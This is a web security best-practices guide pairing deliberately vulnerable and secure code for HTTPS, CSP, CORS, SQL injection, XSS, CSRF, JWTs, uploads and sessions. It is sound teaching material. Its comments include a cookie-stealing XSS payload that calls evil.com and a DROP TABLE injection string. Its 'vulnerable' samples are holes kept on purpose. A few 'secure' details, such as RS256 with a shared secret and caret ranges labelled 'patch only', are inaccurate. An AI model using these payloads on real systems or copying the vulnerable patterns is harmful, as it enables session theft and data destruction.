Web Security Essentials: 15 Best Practices Every Developer Should Know in 2026
Web security is no longer an afterthought — it's the foundation of every modern application. In 2026, attackers are more sophisticated, attack surfaces are wider than ever, and a single vulnerability can compromise millions of user records. Whether you're building a startup MVP or maintaining enterprise infrastructure, these 15 web security best practices will help you build applications that withstand real-world threats.
Why Web Security Matters More Than Ever in 2026
The average cost of a data breach reached $4.9 million in 2025, and regulatory frameworks like GDPR, CCPA, and the new EU AI Act impose heavy penalties for security negligence. Modern web applications handle authentication, payments, personal data, and API integrations — each a potential entry point for attackers.
This guide covers the 15 most critical web security practices, complete with vulnerable vs. secure code examples and recommended tools. Let's make your applications bulletproof.
1. Enforce HTTPS and Use Modern TLS Configuration
The Problem
Serving content over HTTP exposes user data to man-in-the-middle (MITM) attacks. Even on internal networks, unencrypted traffic can be intercepted, modified, or replayed. Many developers also use outdated TLS versions (TLS 1.0/1.1) that are vulnerable to attacks like BEAST and POODLE.
❌ Vulnerable Code
# nginx — No HTTPS, no redirect
server {
listen 80;
server_name example.com;
# All traffic served in plaintext — easily intercepted
}
✅ Secure Code
# nginx — Enforce HTTPS with HSTS and modern TLS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
# HSTS — force browsers to always use HTTPS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
}
🛠️ Recommended Tools
- Certbot — Free TLS certificates via Let's Encrypt
- Mozilla SSL Configuration Generator — Generate secure TLS configs
- SSL Labs — Test your TLS setup for vulnerabilities
2. Implement a Strict Content Security Policy (CSP)
The Problem
Without a Content Security Policy, browsers will execute any script that reaches your page — including malicious scripts injected via XSS attacks. CSP is your most powerful defense against cross-site scripting by whitelisting trusted content sources.
❌ Vulnerable Code
<!-- No CSP header — browsers allow any script to execute -->
<html>
<head>
<title>My App</title>
</head>
<body>
<!-- If user input is rendered here without escaping, XSS is trivial -->
<div id="output"></div>
<script>
document.getElementById('output').innerHTML = new URLSearchParams(
location.search
).get('name');
</script>
</body>
</html>
✅ Secure Code
<!-- Serve this header from your server or CDN -->
<!-- Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; object-src 'none' -->
<html>
<head>
<title>My App</title>
<!-- Nonce-based script loading -->
<script nonce="{RANDOM_NONCE}" src="/app.js"></script>
</head>
<body>
<div id="output"></div>
<script nonce="{RANDOM_NONCE}">
// Safe: textContent doesn't execute HTML
document.getElementById('output').textContent = new URLSearchParams(
location.search
).get('name') ?? '';
</script>
</body>
</html>
🛠️ Recommended Tools
- CSP Evaluator — Google's tool to test your CSP
- Report URI — Monitor CSP violations in real time
3. Configure CORS Properly to Prevent Cross-Origin Attacks
The Problem
Cross-Origin Resource Sharing (CORS) errors are frustrating, and many developers "fix" them by setting Access-Control-Allow-Origin: * with credentials enabled. This is catastrophic — it allows any website to make authenticated requests to your API.
❌ Vulnerable Code
// Express.js — CORS wide open with credentials
const cors = require('cors');
app.use(cors({
origin: '*', // Allow ANY origin
credentials: true, // AND send cookies — this is dangerous
}));
✅ Secure Code
// Express.js — Whitelist specific origins
const allowedOrigins = [
'https://example.com',
'https://app.example.com',
];
app.use(cors({
origin(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400, // Cache preflight for 24 hours
}));
🛠️ Recommended Tools
- cors-validator — Validate your CORS headers
- Browser DevTools — Check the Network tab for preflight (
OPTIONS) responses
4. Prevent SQL Injection with Parameterized Queries
The Problem
SQL injection remains one of the most common and devastating web vulnerabilities — it's been in the OWASP Top 10 for over a decade. Attackers can extract, modify, or delete your entire database by manipulating user input that's concatenated directly into SQL strings.
❌ Vulnerable Code
// Node.js — String concatenation = SQL injection
app.get('/user', (req, res) => {
const userId = req.query.id;
// Attacker input: 1; DROP TABLE users; --
const query = `SELECT * FROM users WHERE id = ${userId}`;
db.execute(query, (err, results) => {
res.json(results);
});
});
✅ Secure Code
// Node.js — Parameterized queries are immune to SQL injection
app.get('/user', (req, res) => {
const userId = req.query.id;
// Use placeholders — the database engine handles escaping
db.execute(
'SELECT * FROM users WHERE id = ?',
[userId],
(err, results) => {
if (err) return res.status(500).json({ error: 'Database error' });
res.json(results);
}
);
});
// Even better — use an ORM with built-in query safety
// Prisma example:
const user = await prisma.user.findUnique({
where: { id: parseInt(userId) },
});
🛠️ Recommended Tools
- SQLMap — Automated SQL injection detection (use on your own apps)
- Prisma or Drizzle ORM — Type-safe ORMs that prevent injection by design
5. Defend Against Cross-Site Scripting (XSS)
The Problem
XSS attacks inject malicious scripts into pages viewed by other users. These scripts can steal session tokens, redirect users to phishing sites, or perform actions on behalf of the victim. There are three main types: Stored XSS (malicious data persisted in the database), Reflected XSS (payload in the URL), and DOM-based XSS (client-side code manipulation).
❌ Vulnerable Code
// React — dangerouslySetInnerHTML with user data
function Comment({ userComment }) {
return (
<div dangerouslySetInnerHTML={{ __html: userComment }} />
// An attacker submits: <img src=x onerror=fetch('https://evil.com?c='+document.cookie)>
);
}
✅ Secure Code
// React — Automatic escaping by default
function Comment({ userComment }) {
return <div>{userComment}</div>;
// React escapes all interpolated values automatically
}
// If you MUST render HTML, sanitize it first
import DOMPurify from 'isomorphic-dompurify';
function SafeComment({ userComment }) {
const clean = DOMPurify.sanitize(userComment, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li', 'a'],
ALLOWED_ATTR: ['href'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
🛠️ Recommended Tools
- DOMPurify — Industry-standard HTML sanitizer
- Burp Suite — Professional web vulnerability scanner
6. Block CSRF Attacks with Anti-CSRF Tokens
The Problem
Cross-Site Request Forgery (CSRF) tricks authenticated users into submitting unwanted actions to your application. Since browsers automatically attach cookies, a malicious site can trigger state-changing requests (transfers, password changes, deletions) on behalf of the logged-in user.
❌ Vulnerable Code
// Express.js — State-changing endpoint with no CSRF protection
app.post('/transfer-money', (req, res) => {
// Only checks if user is logged in via cookie
// An attacker can create a form on evil.com that submits here
const { amount, toAccount } = req.body;
transferMoney(req.session.userId, toAccount, amount);
res.json({ success: true });
});
✅ Secure Code
// Express.js — Double-submit cookie pattern with CSRF tokens
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
app.use(cookieParser());
// Generate CSRF token
const csrfProtection = csrf({ cookie: true });
// Expose token to frontend
app.get('/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// Protect all state-changing routes
app.post('/transfer-money', csrfProtection, (req, res) => {
const { amount, toAccount } = req.body;
transferMoney(req.session.userId, toAccount, amount);
res.json({ success: true });
});
// Frontend must include the token
// fetch('/transfer-money', {
// method: 'POST',
// headers: { 'X-CSRF-Token': csrfToken },
// body: JSON.stringify({ amount: 100, toAccount: '12345' }),
// });
🛠️ Recommended Tools
- csurf — Express.js CSRF middleware (or modern alternatives like
csrf-csrf) - SameSite Cookies — Set
SameSite=LaxorSameSite=Stricton session cookies
7. Secure JWT Authentication Properly
The Problem
JSON Web Tokens (JWTs) are everywhere, but they're frequently misconfigured. Common mistakes include storing tokens in localStorage (vulnerable to XSS), using weak signing algorithms, never expiring tokens, and not validating signatures properly.
❌ Vulnerable Code
// Signing JWT with weak algorithm and no expiration
const jwt = require('jsonwebtoken');
// Using 'none' algorithm or weak secret
const token = jwt.sign({ userId: 123, role: 'admin' }, 'secret123', {
algorithm: 'HS256', // Weak key — easily brute-forced
// No expiresIn — token is valid forever
});
// Storing in localStorage (accessible via XSS)
// localStorage.setItem('token', token); // DON'T DO THIS
✅ Secure Code
// Secure JWT implementation
const crypto = require('crypto');
// Generate a strong signing key (at least 256 bits)
const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET; // 32+ random bytes
const REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_SECRET;
// Short-lived access token
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_TOKEN_SECRET,
{
algorithm: 'RS256', // Asymmetric — more secure for distributed systems
expiresIn: '15m',
issuer: 'https://api.example.com',
audience: 'https://app.example.com',
}
);
// Long-lived refresh token (stored in HTTP-only cookie)
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
REFRESH_TOKEN_SECRET,
{ algorithm: 'RS256', expiresIn: '7d' }
);
// Store refresh token in an HTTP-only, Secure, SameSite cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // Only over HTTPS
sameSite: 'strict', // Prevent CSRF
path: '/auth/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
});
🛠️ Recommended Tools
8. Implement Rate Limiting and Brute Force Protection
The Problem
Without rate limiting, attackers can brute-force passwords, enumerate user accounts, scrape your data, or launch denial-of-service attacks. APIs are especially vulnerable because they're designed for programmatic access.
❌ Vulnerable Code
// Express.js — Login endpoint with zero protection
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (user && await bcrypt.compare(password, user.password)) {
return res.json({ token: generateToken(user) });
}
res.status(401).json({ error: 'Invalid credentials' });
// An attacker can try 10,000 passwords per second — no limits
});
✅ Secure Code
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const redis = require('redis');
const redisClient = redis.createClient({ url: process.env.REDIS_URL });
// Global API rate limiting
const apiLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window per IP
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later.' },
});
app.use('/api/', apiLimiter);
// Stricter rate limiting for auth endpoints
const authLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 15 * 60 * 1000,
max: 5, // Only 5 login attempts per 15 minutes
skipSuccessfulRequests: true, // Don't count successful logins
message: { error: 'Too many login attempts. Account locked for 15 minutes.' },
});
app.post('/login', authLimiter, async (req, res) => {
// ... authentication logic
});
🛠️ Recommended Tools
- express-rate-limit — Production-grade rate limiting for Express
- Cloudflare Rate Limiting — Edge-level protection before traffic hits your server
- Fail2Ban — Server-level brute force protection
9. Hash Passwords with Modern Algorithms
The Problem
Storing passwords in plaintext or with outdated hashing algorithms (MD5, SHA1) is a critical security failure. If your database is compromised, weakly hashed passwords can be cracked in seconds using rainbow tables and GPU brute-force attacks.
❌ Vulnerable Code
const crypto = require('crypto');
// MD5 or SHA1 — completely broken, never use for passwords
const hash = crypto.createHash('md5').update(password).digest('hex');
// Even SHA-256 without salt is vulnerable to rainbow table attacks
const sha256Hash = crypto.createHash('sha256').update(password).digest('hex');
// bcrypt with low work factor — too fast for modern GPUs
const bcrypt = require('bcrypt');
const hashedPassword = bcrypt.hashSync(password, 4); // Cost factor 4 is way too low
✅ Secure Code
// Argon2id — the gold standard for password hashing in 2026
const argon2 = require('argon2');
async function hashPassword(password) {
const hash = await argon2.hash(password, {
type: argon2.argon2id, // Recommended variant
memoryCost: 65536, // 64 MB memory usage
timeCost: 3, // 3 iterations
parallelism: 4, // Use 4 threads
saltLength: 32, // 32-byte salt
hashLength: 64, // 64-byte hash
});
return hash;
}
async function verifyPassword(hash, password) {
try {
return await argon2.verify(hash, password);
} catch {
return false;
}
}
// Enforce minimum password requirements
function validatePasswordStrength(password) {
const minLength = 12;
const hasUpper = /[A-Z]/.test(password);
const hasLower = /[a-z]/.test(password);
const hasNumber = /\d/.test(password);
const hasSpecial = /[!@#$%^&*(),.?":{}|<>]/.test(password);
return password.length >= minLength && hasUpper && hasLower && hasNumber && hasSpecial;
}
🛠️ Recommended Tools
- Argon2 — Winner of the Password Hashing Competition (PHC)
- zxcvbn — Dropbox's realistic password strength estimator
- Have I Been Pwned API — Check passwords against known breach databases
10. Validate and Sanitize All User Input
The Problem
Every piece of user input — form fields, query parameters, headers, cookies, file uploads — is a potential attack vector. Failing to validate and sanitize input leads to injection attacks, path traversal, SSRF, and many other vulnerabilities. Never trust user input.
❌ Vulnerable Code
// No validation — accepts anything
app.post('/api/profile', (req, res) => {
const { name, email, bio, website } = req.body;
// Directly saves whatever the user sends
user.name = name;
user.email = email;
user.bio = bio;
user.website = website;
await user.save();
// What if name is 10MB? What if website is a JavaScript URL?
// What if bio contains <script> tags?
});
✅ Secure Code
const { z } = require('zod');
// Define a strict schema for profile updates
const profileSchema = z.object({
name: z.string().min(1).max(100),
email: z.string().email(),
bio: z.string().max(500).optional(),
website: z.string().url().refine(
(url) => url.startsWith('http://') || url.startsWith('https://'),
'Only HTTP(S) URLs are allowed'
).optional(),
age: z.number().int().min(13).max(120).optional(),
});
app.post('/api/profile', (req, res) => {
const result = profileSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Validation failed',
details: result.error.flatten(),
});
}
const { name, email, bio, website } = result.data;
// Only validated, schema-conforming data reaches the database
Object.assign(user, { name, email, bio, website });
await user.save();
res.json({ success: true });
});
🛠️ Recommended Tools
- Zod — TypeScript-first schema validation with static type inference
- Joi — Powerful schema description language and validator
- express-validator — Express.js middleware built on
validator.js
11. Set Secure HTTP Security Headers
The Problem
Missing security headers leave your application exposed to clickjacking, MIME-type sniffing attacks, and various browser-based exploits. These headers act as a defense-in-depth layer that constrains how browsers interact with your content.
❌ Vulnerable Code
// No security headers configured
const express = require('express');
const app = express();
// ...routes
app.listen(3000);
✅ Secure Code
const express = require('express');
const helmet = require('helmet');
const app = express();
// Helmet sets a comprehensive set of security headers:
// - Content-Security-Policy
// - X-Content-Type-Options: nosniff
// - X-Frame-Options: SAMEORIGIN (or CSP frame-ancestors)
// - Strict-Transport-Security (HSTS)
// - Referrer-Policy
// - Permissions-Policy
// - X-DNS-Prefetch-Control
app.use(helmet());
// Fine-tune specific headers for your needs
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{RANDOM}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'", 'https://api.example.com'],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
}));
app.use(helmet.crossOriginEmbedderPolicy({ policy: 'require-corp' }));
app.use(helmet.crossOriginOpenerPolicy({ policy: 'same-origin' }));
app.use(helmet.crossOriginResourcePolicy({ policy: 'same-origin' }));
🛠️ Recommended Tools
- Helmet — Express.js security headers middleware
- securityheaders.com — Scan your site's HTTP headers for free
12. Use Dependency Scanning to Catch Vulnerable Packages
The Problem
Modern applications depend on hundreds or thousands of third-party packages. A vulnerability in any one of them — like the infamous Log4Shell (CVE-2021-44228) — can compromise your entire system. Supply chain attacks via malicious npm/PyPI packages are also on the rise.
❌ Vulnerable Code
# Blindly installing packages without checking
npm install some-random-package
# Never updating dependencies
# "If it works, don't touch it" — a dangerous mindset
✅ Secure Code
# Check for known vulnerabilities
npm audit
npm audit fix
# Use npm's package-lock.json for reproducible builds
npm ci
# Pin major versions to avoid unexpected breaking changes
# package.json:
# {
# "dependencies": {
# "express": "^4.19.2", // Patch updates only
# "react": "~18.3.1" // Minor updates only
# }
# }
# .github/workflows/security.yml — GitHub Actions for continuous scanning
name: Security Scan
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '22'
- run: npm ci
- run: npm audit --audit-level=moderate
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
🛠️ Recommended Tools
- Snyk — Continuous dependency vulnerability scanning
- Dependabot — GitHub's built-in dependency updates
- Socket — Detects malicious packages and supply chain attacks
13. Secure Your File Upload Functionality
The Problem
File upload features are a goldmine for attackers. Without proper restrictions, malicious users can upload executable scripts (web shells), oversized files that crash your server, or files with disguised extensions. This can lead to remote code execution, denial of service, or storage of illegal content.
❌ Vulnerable Code
const multer = require('multer');
// Accepts any file, any size, any type
const upload = multer({ dest: 'uploads/' });
app.post('/upload', upload.single('file'), (req, res) => {
res.json({ path: `/uploads/${req.file.filename}` });
// Attacker uploads: shell.php (web shell) → RCE
});
✅ Secure Code
const multer = require('multer');
const crypto = require('crypto');
const path = require('path');
const sharp = require('sharp');
// Strict file validation
const ALLOWED_MIME_TYPES = {
'image/jpeg': 'jpg',
'image/png': 'png',
'image/webp': 'webp',
'application/pdf': 'pdf',
};
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB
const storage = multer.diskStorage({
destination: (req, file, cb) => cb(null, '/tmp/uploads'),
filename: (req, file, cb) => {
// Generate a random filename — never use the original
const random = crypto.randomBytes(16).toString('hex');
const ext = ALLOWED_MIME_TYPES[file.mimetype];
cb(null, `${random}.${ext}`);
},
});
const upload = multer({
storage,
limits: { fileSize: MAX_FILE_SIZE },
fileFilter: (req, file, cb) => {
if (ALLOWED_MIME_TYPES[file.mimetype]) {
cb(null, true);
} else {
cb(new Error('File type not allowed'), false);
}
},
});
app.post('/upload', upload.single('file'), async (req, res) => {
if (!req.file) return res.status(400).json({ error: 'No file uploaded' });
// For images: re-encode to strip embedded malicious data
if (req.file.mimetype.startsWith('image/')) {
await sharp(req.file.path)
.resize(1920, 1920, { fit: 'inside', withoutEnlargement: true })
.toFile(`/app/public/uploads/${req.file.filename}`);
}
// Store metadata in database, not the file
await File.create({
filename: req.file.filename,
mimeType: req.file.mimetype,
size: req.file.size,
uploadedBy: req.user.id,
});
res.json({ success: true, filename: req.file.filename });
});
🛠️ Recommended Tools
- Sharp — Image processing that strips malicious metadata
- ClamAV — Open-source antivirus for scanning uploaded files
- AWS S3 + CloudFront — Store files off your application server with CDN delivery
14. Implement Proper Session Management
The Problem
Poor session management — predictable session IDs, no expiration, no invalidation on logout — allows attackers to hijack user sessions. Session fixation attacks, where an attacker forces a known session ID on a victim, are also a risk.
❌ Vulnerable Code
// Express.js — Insecure session configuration
app.use(session({
secret: 'keyboard cat', // Weak secret
cookie: {
httpOnly: false, // JavaScript can read the cookie (XSS risk)
secure: false, // Sent over HTTP too
sameSite: 'none', // Sent on every cross-site request
},
// No session expiration
// No regeneration on login
}));
app.post('/login', (req, res) => {
// Session ID is NOT regenerated — enables session fixation
req.session.userId = user.id;
res.json({ success: true });
});
✅ Secure Code
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
const crypto = require('crypto');
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET, // 64+ random bytes
name: '__Host-sid', // __Host- prefix forces Secure + no path/domain
resave: false,
saveUninitialized: false,
rolling: true, // Reset expiration on each request
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 30 * 60 * 1000, // 30 minutes of inactivity
path: '/',
},
}));
app.post('/login', async (req, res) => {
// Regenerate session ID to prevent fixation
const prevSession = req.session;
req.session.regenerate((err) => {
if (err) return res.status(500).json({ error: 'Session error' });
// Copy data to new session
req.session.userId = user.id;
req.session.createdAt = Date.now();
req.session.ip = req.ip;
req.session.userAgent = req.get('User-Agent');
res.json({ success: true });
});
});
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) return res.status(500).json({ error: 'Logout failed' });
res.clearCookie('__Host-sid');
res.json({ success: true });
});
});
🛠️ Recommended Tools
- express-session — Session middleware for Express
- connect-redis — Redis-backed session store for scalability
- OWASP Session Management Cheat Sheet — Authoritative reference
15. Monitor, Log, and Respond to Security Events
The Problem
You can't protect what you can't see. Without proper logging and monitoring, you'll never know when an attack is happening — or has already happened. The average time to detect a breach is 204 days. Good logging can shrink that to minutes.
❌ Vulnerable Code
// Minimal or no logging
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (!user) {
// Silent failure — no record of failed attempts
return res.status(401).json({ error: 'Invalid credentials' });
}
// ...
});
✅ Secure Code
const pino = require('pino');
const logger = pino({
level: process.env.LOG_LEVEL || 'info',
transport: process.env.NODE_ENV === 'development'
? { target: 'pino-pretty' }
: undefined,
redact: {
paths: ['req.headers.authorization', 'req.body.password',
'req.body.creditCard', '*.password', '*.token'],
censor: '[REDACTED]',
},
});
// Structured security event logging
app.post('/login', async (req, res) => {
const { email } = req.body;
const ip = req.ip;
const userAgent = req.get('User-Agent');
const user = await User.findOne({ email });
if (!user || !(await argon2.verify(user.password, req.body.password))) {
logger.warn({
event: 'auth_failed',
email,
ip,
userAgent,
timestamp: new Date().toISOString(),
});
// Alert on suspicious patterns
const recentFailures = await countRecentFailures(email, ip, '15m');
if (recentFailures >= 5) {
logger.error({
event: 'brute_force_detected',
email,
ip,
attemptCount: recentFailures,
});
// Trigger automated response: lock account, notify user, etc.
}
return res.status(401).json({ error: 'Invalid credentials' });
}
logger.info({
event: 'auth_success',
userId: user.id,
ip,
userAgent,
});
// ... proceed with login
});
// Audit logging for sensitive operations
function auditLog(action, userId, details) {
logger.info({
event: 'audit',
action, // 'password_change', 'data_export', 'role_update'
userId,
details,
timestamp: new Date().toISOString(),
ip: requestIdToIp.get(details.requestId),
});
}
🛠️ Recommended Tools
- Pino — Extremely fast Node.js logger with structured JSON output
- Datadog or Grafana Loki — Centralized log aggregation and alerting
- Sentry — Real-time error tracking and performance monitoring
- Wazuh — Open-source SIEM and XDR for security monitoring
Conclusion: Security Is a Continuous Process
Web security in 2026 is not a checkbox — it's an ongoing discipline. The 15 best practices in this guide provide a strong foundation, but security requires constant vigilance:
- Stay informed — Follow OWASP, subscribe to security advisories, and monitor CVE databases.
- Automate security testing — Integrate SAST, DAST, and dependency scanning into your CI/CD pipeline.
- Conduct regular security audits — Penetration testing and code reviews catch what automated tools miss.
- Train your team — Security awareness is your strongest defense. A single phishing email can bypass every technical control.
- Have an incident response plan — When (not if) a breach happens, every minute counts.
Remember: Security is not about being perfect. It's about reducing risk, minimizing attack surface, and making your application a harder target than the attacker is willing to work for. Start with the highest-impact items — HTTPS, input validation, parameterized queries, and proper authentication — and iterate from there.
Stay secure out there. 🔒
Frequently Asked Questions
What is the most critical web security practice?
If you can only implement one thing, enforce HTTPS everywhere. It encrypts all data in transit and is the foundation of secure communication on the web.
How often should I update my dependencies?
Run npm audit (or equivalent) at least weekly, and review major updates monthly. Set up Dependabot or Snyk to automate vulnerability alerts.
Is CSP enough to prevent XSS?
CSP significantly reduces XSS risk, but it should be combined with proper output encoding, input sanitization, and frameworks that auto-escape (like React). No single control is sufficient.
What's the difference between authentication and authorization?
Authentication verifies who you are (login). Authorization determines what you can do (permissions). Both must be implemented correctly for security.
Should I use JWT or sessions?
Both can be secure if implemented correctly. Sessions are simpler and work well for traditional web apps. JWTs are better for stateless APIs and microservices. Never store tokens in localStorage — use HTTP-only cookies.